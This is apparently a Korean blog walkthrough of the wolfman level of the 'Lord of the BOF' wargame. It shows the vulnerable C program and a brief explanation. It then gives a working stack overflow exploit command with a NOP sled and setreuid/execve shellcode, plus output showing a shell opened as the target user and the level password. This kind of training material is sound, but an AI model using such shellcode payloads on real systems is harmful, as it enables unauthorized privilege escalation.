BOF 원정대 – Level 5 (wolfman)

문제소스는 아래와 같다.

/*
 The Lord of the BOF : The Fellowship of the BOF
- wolfman
- egghunter + buffer hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
 char buffer[40];
 int i;

 if(argc < 2){
 printf(argv error\n);
 exit(0);
 }

 // egghunter 
 for(i=0; environ[i]; i++)
 memset(environ[i], 0, strlen(environ[i]));

 if(argv[1][47] != '\xbf')
 {
 printf(stack is still your friend.\n);
 exit(0);
 }
 strcpy(buffer, argv[1]); 
 printf(%s\n, buffer);

 // buffer hunter
 memset(buffer, 0, 40);
}

이번에는 환경변수와 버퍼를 지우지만 버퍼를 0~40 까지만 지우게 되므로 이후 쉘코드는 남길 수 있다. 아마 쉘코드를 버퍼 앞쪽에 쓰는걸 방지하지 위해 저런 코드를 작성한 것으로 보인다. 암튼 공격은 이전 레벨의 코드와 동일하게 풀이가 가능하다.

[orc@localhost orc]$ ./wolfman `python -c print 'A'*44 + '\x1c\x76\xfe\xbf' + '\x90'*100000 + '\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'` 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv1h//shh/bin

 bash$ id
uid=505(wolfman) gid=504(orc) egid=505(wolfman) groups=504(orc)
bash$ my-pass
euid = 505
love eyuna
bash$ 

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다